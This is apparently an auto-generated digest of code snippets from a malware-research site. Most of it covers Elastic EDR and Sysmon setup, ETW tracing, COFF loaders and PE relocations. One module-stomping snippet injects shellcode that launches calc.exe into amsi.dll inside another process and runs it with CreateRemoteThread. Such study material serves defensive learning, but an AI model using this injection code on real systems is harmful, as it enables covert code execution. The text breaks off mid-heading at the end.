### Setup Winlogbeats and Install as Service Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html This section provides PowerShell commands to set up Winlogbeats, install it as a Windows service, configure it to start automatically, and then start the service. It also includes a command to check the service status. ```powershell winlogbeat.exe setup -e powershell -Exec bypass -File .\install-service-winlogbeat.ps1 Set-Service -Name "winlogbeat" -StartupType automatic Start-Service -Name "winlogbeat" Get-Service -Name "winlogbeat" ``` -------------------------------- ### Configure and Start Kibana Service Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html Configures Kibana by setting the server host and Elasticsearch connection details, then starts the Kibana service. Requires editing the configuration file and root privileges. ```bash # In /etc/kibana/kibana.yml: # Set the `server.host` value with the server `IP` address # Set the `elasticsearch.hosts` value with the `elasticsearch` `IP` service kibana start ``` -------------------------------- ### Install Filebeat (Debian/Ubuntu) Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html Installs the Filebeat package, a lightweight shipper for forwarding logs and data. Requires root privileges. ```bash apt install filebeat ``` -------------------------------- ### Example C Code for 'Hello World' Source: https://otterhacker.github.io/Malware/CoffLoader.html A simple C program that prints 'Hello World !' to the console. This is used as a baseline example to illustrate code relocation. ```c int main(void){ printf("Hello World !\n"); } ``` -------------------------------- ### Install Sysmon for Endpoint Security Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html PowerShell commands to download, extract, and install Sysmon using a standard configuration file. This provides advanced system monitoring capabilities for the Elastic EDR integration. ```PowerShell Invoke-WebRequest -Uri https://download.sysinternals.com/files/Sysmon.zip -OutFile Sysmon.zip Expand-Archive .\Sysmon.zip -DestinationPath . Invoke-WebRequest -Uri https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml -OutFile ./sysmonconfig.xml .\Sysmon.exe -accepteula -i .\sysmonconfig.xml ``` -------------------------------- ### Install Kibana (Debian/Ubuntu) Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html Installs the Kibana package on Debian or Ubuntu-based systems. Ensure the Elastic APT repository is configured first. ```bash apt-get install kibana ``` -------------------------------- ### Configure and Start Elasticsearch Service Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html Configures Elasticsearch by setting network host and node names, then starts and checks the status of the Elasticsearch service. Requires editing the configuration file and root privileges. ```bash # In /etc/elasticsearch/elasticsearch.yml : # Set the `network.host` value with the server `IP` address # Give name to your nodes with `node.name` and `cluster.initial_master_nodes` service elasticsearch start service elasticsearch status ``` -------------------------------- ### Download and Install Winlogbeats Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html This PowerShell script downloads the Winlogbeats zip file, extracts its contents, and moves the extracted folder to the 'C:\Program Files\winlogbeat' directory. It then changes the current directory to the Winlogbeats installation path. ```powershell Invoke-WebRequest -Uri https://artifacts.elastic.co/downloads/beats/winlogbeat/winlogbeat-7.10.0-windows-x86_64.zip -OutFile winlogbeat-7.10.0-windows-x86_64.zip Expand-Archive .\winlogbeat-7.10.0-windows-x86_64.zip -DestinationPath . mv .\winlogbeat-7.10.0-windows-x86_64 'C:\Program Files\winlogbeat' cd 'C:\Program Files\winlogbeat\' ``` -------------------------------- ### Sysmon Installation and Uninstallation Commands Source: https://otterhacker.github.io/Malware/Kernel%20callback.html Command-line instructions for installing and uninstalling the Sysmon service. Installation requires a configuration file, while uninstallation removes the service and driver. ```bash Sysmon.exe -i ${configFile} ``` ```bash Sysmon.exe -u ``` -------------------------------- ### Install Elasticsearch (Debian/Ubuntu) Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html Installs the Elasticsearch package on Debian or Ubuntu-based systems. Ensure the APT repository is configured first. ```bash apt-get install elasticsearch ``` -------------------------------- ### Initialize Emulation Environment Source: https://otterhacker.github.io/Malware/Docs/Tools/Radare2.html Commands to prepare the Radare2 emulation engine, including initializing the virtual machine, stack, and program counter for instruction stepping. ```Radare2 # Initialize the VM aei # Initialize the stack aeim # Initialize the program counter ``` -------------------------------- ### Install Elastic APT Repository and Packages (Debian/Ubuntu) Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html This snippet adds the Elastic APT repository to your system and installs the necessary packages for Elasticsearch. It requires root privileges and an active internet connection. ```bash wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add - sudo apt-get install apt-transport-https echo "deb https://artifacts.elastic.co/packages/8.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-8.x.list ``` -------------------------------- ### Start ETW Tracing Session (C++) Source: https://otterhacker.github.io/Malware/ETW.html Starts a new ETW tracing session using the Win32 API function `StartTraceW`. This function takes a tracing session handle, the session name, and the initialized tracing session properties object. Upon successful execution, it begins capturing trace events. ```c++ TRACEHANDLE tracingSessionHandle = 0; ULONG status = StartTraceW(&tracingSessionHandle, tracingSessionName, newTracingSession); ``` -------------------------------- ### Perform HTTP GET Request using WinHTTP API Source: https://otterhacker.github.io/Malware/ETW.html A C++ implementation that initializes a WinHTTP session, connects to a server, and performs a GET request. This code is designed to trigger specific ETW events for monitoring and debugging. ```cpp #include #include #include #pragma comment(lib, "winhttp.lib") int main(void) { DWORD dwSize = 0; DWORD dwDownloaded = 0; LPSTR pszOutBuffer; BOOL bResults = FALSE; HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL; hSession = WinHttpOpen(L"WinHTTP Example/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); if (hSession) hConnect = WinHttpConnect(hSession, L"www.microsoft.com", INTERNET_DEFAULT_HTTPS_PORT, 0); if (hConnect) hRequest = WinHttpOpenRequest(hConnect, L"GET", NULL, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE); if (hRequest) bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); if (bResults) bResults = WinHttpReceiveResponse(hRequest, NULL); if (bResults) { do { dwSize = 0; if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError()); pszOutBuffer = new char[dwSize + 1]; if (!pszOutBuffer) { printf("Out of memory\n"); dwSize = 0; } else { ZeroMemory(pszOutBuffer, dwSize + 1); if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) printf("Error %u in WinHttpReadData.\n", GetLastError()); else printf("%s", pszOutBuffer); delete[] pszOutBuffer; } } while (dwSize > 0); } if (!bResults) printf("Error %d has occurred.\n", GetLastError()); if (hRequest) WinHttpCloseHandle(hRequest); if (hConnect) WinHttpCloseHandle(hConnect); if (hSession) WinHttpCloseHandle(hSession); return 0; } ``` -------------------------------- ### Load DLL Example Source: https://otterhacker.github.io/Malware/Kernel%20callback.html A simple C++ program that loads the 'winhttp.dll' library and prints its base address. This demonstrates a basic user-mode interaction that can trigger kernel events. ```c++ #include #include int main() { HMODULE hModule = LoadLibraryA("winhttp.dll"); printf("WinHTTP: 0x%p\n", hModule); return 0; } ``` -------------------------------- ### Manage and Troubleshoot Elastic Services Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html Standard shell commands to restart Elastic services, verify Filebeat configuration, and inspect system logs for debugging service failures. ```Bash service elasticsearch restart service kibana restart service filebeat restart ``` ```Bash filebeat test config filebeat test output ``` ```Bash journalctl -u elasticsearch.service journalctl -u kibana.service journalctl -u filebeat.service ``` -------------------------------- ### Initialize Radare2 Empty Buffers Source: https://otterhacker.github.io/Malware/Docs/Tools/Radare2.html Commands to launch Radare2 with an empty buffer or a pre-allocated memory block. This is useful for testing shellcode without requiring an existing binary file. ```Radare2 r2 - r2 malloc://${bufferSizeInBytes} # r2 malloc://512 ``` -------------------------------- ### Configure Elastic Stack Credentials Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html Configuration snippets for setting authentication credentials in Elasticsearch and Filebeat YAML files. These settings enable security features and define the output credentials for data ingestion. ```YAML xpack.security.enabled: true elasticsearch.username: "elastic" elasticsearch.password: "Your_Elastic_Pass_Here" ``` ```YAML output.elasticsearch.username: "elastic" output.elasticsearch.password: "Your_Elastic_Pass_Here" ``` -------------------------------- ### Generate SSL Certificates for Elastic Stack Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html Generates Certificate Authority (CA) and instance certificates for securing communication within the Elastic Stack. This process involves creating an instances configuration file and using `elasticsearch-certutil`. ```bash instances.yml content: instances: - name: "elasticsearch" ip: - "192.168.253.18" - name: "kibana" ip: - "192.168.253.18" - name: "zeek" ip: - "192.168.253.18" # Generate CA certificate bin/elasticsearch-certutil ca -pem # Generate instances certificates bin/elasticsearch-certutil cert -ca-cert ca/ca.crt -ca-key ca/ca.key -pem -in instances.yml --out certs.zip # Copy and set permissions for certificates unzip certs.zip mkdir -p /etc/elasticsearch/certs mv elasticsearch/* /etc/elasticsearch/certs cp ca/ca.crt /etc/elasticsearch/ca.crt chown -R elasticsearch: /etc/elasticsearch/certs chmod -R 770 /etc/elasticsearch/certs mkdir -p /etc/kibana/certs mv kibana/* /etc/kibana/certs cp ca/ca.crt /etc/kibana/ca.crt chown -R kibana: /etc/kibana/certs chmod -R 770 /etc/kibana/certs mkdir -p /etc/filebeat/certs mv zeek/* /etc/filebeat/certs cp ca/ca.crt /etc/filebeat/ca.crt chmod 770 -R /etc/filebeat/certs ``` -------------------------------- ### Initialize ETW Tracing Session Properties (C++) Source: https://otterhacker.github.io/Malware/ETW.html Initializes a PEVENT_TRACE_PROPERTIES object for a new ETW tracing session. This involves allocating memory, setting buffer sizes, defining the session GUID, and specifying log file modes and offsets for session and log file names. It configures the tracing session to capture image load events. ```c++ // Size allocated in the property object ULONG SizeNeeded = sizeof(EVENT_TRACE_PROPERTIES) + 2 * MAXSTR * sizeof(TCHAR); // Object handling the tracing session properties PEVENT_TRACE_PROPERTIES newTracingSession = (PEVENT_TRACE_PROPERTIES)malloc(SizeNeeded); RtlZeroMemory(newTracingSession, SizeNeeded); newTracingSession->Wnode.BufferSize = SizeNeeded; // Set the same expected `GUID` GUID procMonGuid = { 0x75955553, 0x2055, 0x11ED, { 0xA6, 0x4B, 0x78, 0x2B, 0x46, 0x20, 0x15, 0xF6 } } newTracingSession->Wnode.Guid = procMonGuid; // This information can be extracted using logman on the legit Procmon tracing session newTracingSession->Wnode.ClientContext = 1; newTracingSession->Wnode.Flags = EVENT_TRACE_FLAG_IMAGE_LOAD; newTracingSession->LogFileMode = EVENT_TRACE_FILE_MODE_SEQUENTIAL; newTracingSession->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES); newTracingSession->LogFileNameOffset = newTracingSession->LoggerNameOffset + MAXSTR * sizeof(TCHAR); newTracingSession->MaximumBuffers = 54; tracingSessionName = (LPTSTR)((PCHAR)newTracingSession + newTracingSession->LoggerNameOffset); logFileName = (LPTSTR)((PCHAR)newTracingSession + newTracingSession->LogFileNameOffset); // Set the tracing session name and the log storing path _tcscpy_s(logFileName, MAXSTR, _T("C:\\LogFile.Etl")); _tcscpy_s(tracingSessionName, MAXSTR, L"PROCMON_TRACE"); ``` -------------------------------- ### Final Exploit Structure with DLL Injection in C Source: https://otterhacker.github.io/Malware/Module%20stomping.html This C code demonstrates a final exploit that injects a DLL into a target process and then executes shellcode at the DLL's entry point. It includes functions to get the DLL base address and entry point, and uses WriteProcessMemory and CreateRemoteThread for injection. Error handling is included for critical steps. ```c int main() { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x43\x3a\x5c" "\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33" "\x32\x5c\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; DWORD processPID = 21204; char moduleToInject[] = "C:\\windows\\system32\\amsi.dll"; HANDLE processHandle = injectDLL(moduleToInject, processPID); if (!processHandle) { printf("[x] Cannot load library\n"); return -1; } DWORD64 baseAddress = getDLLBaseAddress(processHandle, "amsi.dll"); if (!baseAddress) { printf("[x] Cannot retrieve DLL base address\n"); return -1; } printf("[+] DLL load at : 0x%llX\n", baseAddress); DWORD64 entrypointAddress = getDLLEntryPointAddress(processHandle, baseAddress); if (!entrypointAddress) { printf("[x] Cannot retrieve the entrypoint address\n"); return -1; } printf("[+] DLL entrypoint at : 0x%llX\n", entrypointAddress); SIZE_T writtenBytes = writeShellcode(processHandle, entrypointAddress, buf, sizeof(buf)); printf("[+] %lld bytes written\n", writtenBytes); CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)entrypointAddress, NULL, 0, NULL); return 0; } ``` -------------------------------- ### Resolve External Function Address and Update GOT (Pseudo-code) Source: https://otterhacker.github.io/Malware/CoffLoader.html This pseudo-code illustrates how to resolve the address of an external function (e.g., printf) using Windows API functions and store it in the GOT. It retrieves the module handle, gets the function address, copies it to the next available GOT slot, and updates the GOT size. The 'absoluteSymbolAddress' will then point to this GOT entry. ```pseudo-code void *printfAddress = GetProcAddress(GetModuleHandle("MSVCRT"), "printf"); void *nextFreeGotSlot = got + gotSize * 0x08; CopyMemory(nextFreeGotSlot, &printfAddress, sizeof(uint64_t)); gotSize += 1; void *absoluteSymbolAddress = nextFreeGotSlot; ``` -------------------------------- ### Pre-calculate .got and .bss Sizes and Store Symbols (Pseudo-code) Source: https://otterhacker.github.io/Malware/CoffLoader.html This pseudo-code demonstrates the process of iterating through COFF symbols to calculate the required sizes for the .got and .bss sections. It identifies uninitialized variables and external functions, storing their details in bssSymbols and gotSymbols respectively, and accumulating the necessary offsets before memory allocation. ```pseudo-code // pseudo code size_t bssOffset = 0; size_t gotSize = 0; // loop over each symbols for (uint32_t i = 0; i < coffHeader->numberOfSymbols; i++) { // get the current symbol CoffSymbol* coffSymbol = (CoffSymbol*)((uint64_t)symbols + (uint64_t)i * SYMBOL_SIZE); if(isUninitializedVariable(coffSymbol)){ // save the symbol information bssSymbols.append({ .symbol = coffSymbol, .bssOffset = bssOffset }); // extend the futur .bss section size bssOffset += coffSymbol->value; } else if(isExternalFunction(coffSymbol)){ // get the external function address through GetProcAddress // or in the internalFunctions array void *functionAddress = resolveExternalFunction(coffSymbol); // save the symbol information gotSymbols.append({ .symbol = symbol, .function = functionAddress, .gotOffset = gotOffset }); // extend the futur .got section size gotOffset += 0x08; } } // allocate the sections with the right size void *got = VirtualAlloc(gotSize); void *bss = VirtualAlloc(bssSize); ``` -------------------------------- ### Execute Main Function from COFF Executable Source: https://otterhacker.github.io/Malware/CoffLoader.html This pseudo-code illustrates how to find and execute the 'main' function after all relocations have been resolved. It involves iterating through symbols, identifying 'main', casting its address to a function pointer, and invoking it with arguments. ```pseudo-code //pseudo code // void **sectionAddressMemory : table that stores section allocated memory address for(size_t i = 0; i < coffHeader->numberOfSymbols; i++){ CoffSymbol *coffSymbol = (CoffSymbol *)(data + coffHeader->pointerToSymbolTable + SYMBOL_SIZE * i); char *symbolName = resoleSymbolName(coffSymbol); // find the symbol related to the main function if(strcmp(symbolName, "main") == 0){ // define the function prototype int(* function)(int argc, char **argv); // cast the symbol address into a function function = int(*)(int, argv **)(sectionAddressMemory[coffSymbol->sectionIndex] + coffSymbol->value) // run the function with its arguments function(argc, argv); } } ``` -------------------------------- ### Analyzing PE Headers with dumpbin Source: https://otterhacker.github.io/Malware/Introduction/1%20-%20PE.html Command-line utility to inspect PE file headers. Useful for viewing general headers, exported functions from DLLs, and imported functions by an executable. Requires a Visual Studio command prompt environment. ```shell #In a visual studio command prompt #To see header dumpbin /headers ${file.exe} #To see exported function (DLL) dumpbin /export ${file.dll} #To see dll imported by an exe dumpbin /imports file.exe ``` -------------------------------- ### Configure Winlogbeats YAML Settings Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html This YAML configuration defines the event logs Winlogbeats should monitor, including Application, System, Security, Sysmon, and PowerShell logs. It also specifies processors for specific event logs, such as JavaScript scripts for enhanced security and Sysmon event parsing. The configuration includes settings for template setup and connection details for the Elastic Stack output. ```yaml winlogbeat.event_logs: - name: Application ignore_older: 72h - name: System - name: Microsoft-Windows-Windows Defender/Operational - name: Microsoft-Windows-Windows Firewall With Advanced Security/Firewall - name: Security processors: - script: lang: javascript id: security file: ${path.home}/module/security/config/winlogbeat-security.js - name: Microsoft-Windows-Sysmon/Operational processors: - script: lang: javascript id: sysmon file: ${path.home}/module/sysmon/config/winlogbeat-sysmon.js - name: Windows PowerShell event_id: 400, 403, 600, 800 processors: - script: lang: javascript id: powershell file: ${path.home}/module/powershell/config/winlogbeat-powershell.js - name: Microsoft-Windows-PowerShell/Operational event_id: 4103, 4104, 4105, 4106 processors: - script: lang: javascript id: powershell file: ${path.home}/module/powershell/config/winlogbeat-powershell.js - name: ForwardedEvents tags: [forwarded] processors: - script: when.equals.winlog.channel: Security lang: javascript id: security file: ${path.home}/module/security/config/winlogbeat-security.js - script: when.equals.winlog.channel: Microsoft-Windows-Sysmon/Operational lang: javascript id: sysmon file: ${path.home}/module/sysmon/config/winlogbeat-sysmon.js - script: when.equals.winlog.channel: Windows PowerShell lang: javascript id: powershell file: ${path.home}/module/powershell/config/winlogbeat-powershell.js - script: when.equals.winlog.channel: Microsoft-Windows-PowerShell/Operational lang: javascript id: powershell file: ${path.home}/module/powershell/config/winlogbeat-powershell.js - name: Microsoft-Windows-WMI-Activity/Operational event_id: 5857,5858,5859,5860,5861 setup.template.settings: index.number_of_shards: 1 setup.kibana: host: "192.168.253.18" # protocol: "https" # ssl.verification_mode: none output.elasticsearch: # Array of hosts to connect to. hosts: ["192.168.253.18:9200"] username: "${username}" password: "${password}" protocol: "https" # ssl.verification_mode: none processors: - add_host_metadata: when.not.contains.tags: forwarded - add_cloud_metadata: ~ ``` -------------------------------- ### Efficient Relocation Using Pre-Resolved Symbols (Pseudo-code) Source: https://otterhacker.github.io/Malware/CoffLoader.html This pseudo-code illustrates how to perform symbol relocation efficiently by utilizing the pre-resolved symbol information stored in gotSymbols and bssSymbols. During relocation, it searches these structures to find the pre-assigned offset for a given symbol, avoiding redundant lookups and directly obtaining the symbol definition address. ```pseudo-code // pseudo code // changes of the code used to perfom the relocation [...] if(isNonStandardSymbol(coffSymbol)){ if(isExternalFunctionSymbol(coffSymbol)){ // loop through the pre-resolved symbols for(size_t i = 0; i < gotSymbols.size(); i++){ // if a symbol is found, reuse the information without additional computing if(coffSymbol == gotSymbols[i].symbol){ symbolDefAddress = got + gotSymbols[i].gotOffset; CopyMemory(symbolDefAddress, gotSymbols[i].functionAddress) break; } } } else{ // loop through the pre-resolved symbols for(size_t i = 0; i < bssSymbols.size(); i++){ // if a symbol is found, reuse the information without additional computing if(coffSymbol == bssSymbols[i].symbol){ symbolDefAddress = bss + bssSymbols[i].bssOffset; break; } } } } [...] ``` -------------------------------- ### Reset Elasticsearch Password Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html Resets the password for the 'elastic' user in Elasticsearch. This command needs to be run with appropriate permissions. ```bash /usr/share/elasticsearch/bin/elasticsearch-reset-password -u elastic ``` -------------------------------- ### Enable Authentication in Elasticsearch Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html Enables security and authentication features in Elasticsearch by setting `xpack.security.enabled` to true in the `elasticsearch.yml` configuration file. ```yaml xpack.security.enabled: true ``` -------------------------------- ### Restart Elastic Stack Services Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html Restarts the Elasticsearch, Kibana, and Filebeat services to apply configuration changes. Requires root privileges. ```bash service elasticsearch restart service kibana restart service filebeat restart ``` -------------------------------- ### Configure Elasticsearch for SSL Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html Enables and configures SSL for both the transport and HTTP layers in Elasticsearch. This involves specifying certificate paths and verification modes in `elasticsearch.yml`. ```yaml # Transport layer xpack.security.transport.ssl.enabled: true xpack.security.transport.ssl.verification_mode: certificate xpack.security.transport.ssl.key: /etc/elasticsearch/certs/elasticsearch.key xpack.security.transport.ssl.certificate: /etc/elasticsearch/certs/elasticsearch.crt xpack.security.transport.ssl.certificate_authorities: [ "/etc/elasticsearch/certs/ca.crt" ] # HTTP layer xpack.security.http.ssl.enabled: true xpack.security.http.ssl.verification_mode: certificate xpack.security.http.ssl.key: /etc/elasticsearch/certs/elasticsearch.key xpack.security.http.ssl.certificate: /etc/elasticsearch/certs/elasticsearch.crt xpack.security.http.ssl.certificate_authorities: [ "/etc/elasticsearch/certs/ca.crt" ] ``` -------------------------------- ### Monitor ETW Provider with SilkETW Source: https://otterhacker.github.io/Malware/ETW.html Command-line instruction to capture events from the Microsoft-Windows-WinHttp provider and save them to a file for analysis. ```bash .\SilkETW.exe -t user -pn Microsoft-Windows-WinHttp -ot file -p ./event.txt ``` -------------------------------- ### Reset Specific User Password in Elasticsearch Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html Resets the password for a specified user in Elasticsearch. This command is useful if you forget a user's password or need to reset it for security reasons. ```bash /usr/share/elasticsearch/bin/elasticsearch-reset-password -u ${username} ``` -------------------------------- ### Enroll Elastic Fleet Agent Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html Command-line parameters and Windows policy paths required to enroll an Elastic agent with custom TLS certificates. Ensures secure communication between the agent and the Fleet server. ```Bash --fleet-server-es-ca=${path} ``` ```text Local Security Policy > Public Key Policies > Certificate Path Validation Settings ``` -------------------------------- ### Dynamic Function Resolution (DFR) Implementation Source: https://otterhacker.github.io/Malware/CoffLoader.html Shows how to define imports using the DFR convention and parse the library and function names from the symbol string to resolve addresses at runtime. ```c DECLSPEC_IMPORT int __cdecl MSVCRT$printf(const char* test, ...); int main(void){ MSVCRT$printf("Hello World !\n"); } // char* symbolName : the symbol name // Remove the __imp_ symbolName += 6; char *splittedName = symbolName.split('$'); char *libraryName = splittedName[0]; char *functionName = splittedName[1]; void *functionAddress = GetProcAddress(GetModuleHandle(libraryName), functionName); ``` -------------------------------- ### Configure Filebeat for SSL and Elasticsearch/Kibana Connection Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html Configures Filebeat to send data to Elasticsearch over HTTPS and connect to Kibana. This involves setting output hosts, protocols, and SSL certificate paths in `filebeat.yml`. ```yaml # Elastic Output output.elasticsearch.hosts: ['192.168.1.232:9200'] output.elasticsearch.protocol: https output.elasticsearch.ssl.certificate: "/etc/filebeat/certs/zeek.crt" output.elasticsearch.ssl.key: "/etc/filebeat/certs/zeek.key" output.elasticsearch.ssl.certificate_authorities: ["/etc/filebeat/certs/ca/ca.crt"] # Kibana Host host: "https://192.168.1.232:5601" ssl.enabled: true ssl.certificate_authorities: ["/etc/filebeat/certs/ca/ca.crt"] ssl.certificate: "/etc/filebeat/certs/zeek.crt" ssl.key: "/etc/filebeat/certs/zeek.key" ``` -------------------------------- ### Decompiled Assembly for 'Hello World' Source: https://otterhacker.github.io/Malware/CoffLoader.html The decompiled assembly code for the 'Hello World' C program, showing the instructions and addresses within the .text section. This is used to demonstrate where relocations are needed. ```assembly .text 000000000000001B: 48 8D 0D 00 00 00 00 lea rcx,[??_C@_0M@KPLPPDAC@Hello?5World@] 0000000000000022: E8 00 00 00 00 call __imp_printf ``` -------------------------------- ### Allocate and Offset BSS Section Memory Source: https://otterhacker.github.io/Malware/CoffLoader.html Demonstrates the allocation of a memory block to emulate the .bss section and the calculation of offsets for uninitialized symbols based on their defined size. ```c //pseudo code void *bss = VirtualAlloc(1024); // void *bss : the allocated address for the .bss section // size_t bssOffset : the size already used in the .bss section size_t symbolSize = coffSymbol->value; void *absoluteSymbolAddress = bss + bssOffset; // The next symbol will be resolved after the current one in the .bss bssOffset += symbolSize; ``` -------------------------------- ### Configure Kibana for SSL and Elasticsearch Connection Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html Configures Kibana to connect to Elasticsearch over HTTPS and enables SSL for the Kibana server itself. This requires specifying certificate paths and Elasticsearch host details in `kibana.yml`. ```yaml # The URLs of the Elasticsearch instances to use for all your queries. elasticsearch.hosts: ["https://192.168.1.232:9200"] elasticsearch.ssl.certificateAuthorities: ["/etc/kibana/certs/ca.crt"] elasticsearch.ssl.certificate: "/etc/kibana/certs/kibana.crt" elasticsearch.ssl.key: "/etc/kibana/certs/kibana.key" server.ssl.enabled: true server.ssl.certificate: "/etc/kibana/certs/kibana.crt" server.ssl.key: "/etc/kibana/certs/kibana.key" ``` -------------------------------- ### Basic Exe Main Function Structure Source: https://otterhacker.github.io/Malware/Introduction/1%20-%20PE.html Defines the entry point for a standard executable program. It accepts command-line arguments and is called by the OS loader upon program execution. The '...' indicates where the program's core logic would reside. ```c++ int main(int argc, char* argv){ ... } ``` -------------------------------- ### Build MS Project from Command Line Source: https://otterhacker.github.io/Malware/Docs/Code%20snippet.html This command line instruction utilizes MSBuild to clean and build a Microsoft project. It specifically targets the 'Release' configuration and executes both the 'Clean' and 'Build' targets. This is a standard method for automating the build process of .NET projects. ```bash msbuild -p:Configuration=Release -t:Clean,Build ``` -------------------------------- ### VBA Function to Get Process Handle by Name Source: https://otterhacker.github.io/Malware/Docs/Code%20snippet.html This section indicates that a VBA (Visual Basic for Applications) function exists for getting a process handle by name, similar to the C function. However, the actual VBA code snippet is not provided in the input text. -------------------------------- ### Handle PE Relocations with Offset Calculation Source: https://otterhacker.github.io/Malware/Reflective%20DLL%20injection.html This pseudo-code demonstrates how to calculate and apply offsets to the Relocation Table entries in a PE file. It iterates through relocation entries, determines the correct relocation type (e.g., HIGH, LOW, HIGHLOW, DIR64), and updates the target address with the calculated offset. Dependencies include the PE header structure and relocation entry definitions. ```pseudo // pseudo code // PVOID startAddress : the actual PE load address // IMAGE_BASE_RELOCATION* currentRelocation : the actual relocation block // Compute the offset DWORD64 offset = startAddress - ntHeader->OptionalHeader.ImageBase; // Get the first relocation entry in the block IMAGE_RELOCATION_ENTRY* relocationEntry = ¤tRelocation[1]; // Parse all relocation entry in the relocation block while(relocationEntry < currentRelocation + currentRelocation->SizeOfBlock){ // Get the relocation address DWORD64 relocationRVA = currentRelocation->VirtualAddress + relocationEntry->Offset; DWORD64 *relocationAddress = startAddress + relocationRVA; // Process the relocation switch(relocationEntry->Type){ case IMAGE_REL_BASED_HIGH: // 16 high bits *relocationAddress += HIWORD(offset); break; case IMAGE_REL_BASE_LOW: // 16 low bits *relocationAddress += LOWORD(offset); break; case IMAGE_REL_BASED_HIGHLOW: // 32 bits *relocationAddress += (DWORD)offset; break; case IMAGE_REL_BASED_DIR64: // 64 bits *relocationAddress += offset; break; default: break; } relocationEntry ++; } ``` -------------------------------- ### Compiling an Executable (Exe) using cl.exe Source: https://otterhacker.github.io/Malware/Introduction/1%20-%20PE.html Compiles a C++ source file into a Windows executable. Options include optimization (/Ox), multithreading (/MT), disabling warnings (/W0), disabling security checks (/GS-), and specifying the output file and subsystem. ```shell cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /${exeCode.cpp} /link /OUT:${exeFile.exe} /SUBSYSTEM:CONSOLE /MACHINE:x64 ``` -------------------------------- ### Auto Script Logging in Zsh Source: https://otterhacker.github.io/Malware/Docs/Code%20snippet.html This Zsh configuration snippet automatically starts a script session that logs all commands executed in the shell. It checks if the shell level is 1 (indicating the start of a new interactive session) and then initiates a script recording using the `script` command. The log file is named with a timestamp and a random number for uniqueness. This is configured in the `.zshenv` file. ```zsh if [[ ${SHLVL} -eq 1 ]]; then script ~/.script/`date +%d.%m.%y-%H:%M:%S`-`echo $((1 + $RANDOM % 1000))` fi ``` -------------------------------- ### Retrieve PE Relocation Table Base Address Source: https://otterhacker.github.io/Malware/Reflective%20DLL%20injection.html Retrieves the starting virtual address of the relocation table from the PE Optional Header's Data Directory. ```C/C++ PVOID firstRelocationBlock = ntHeader->OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; ``` -------------------------------- ### Compiling a Dynamic Link Library (DLL) using 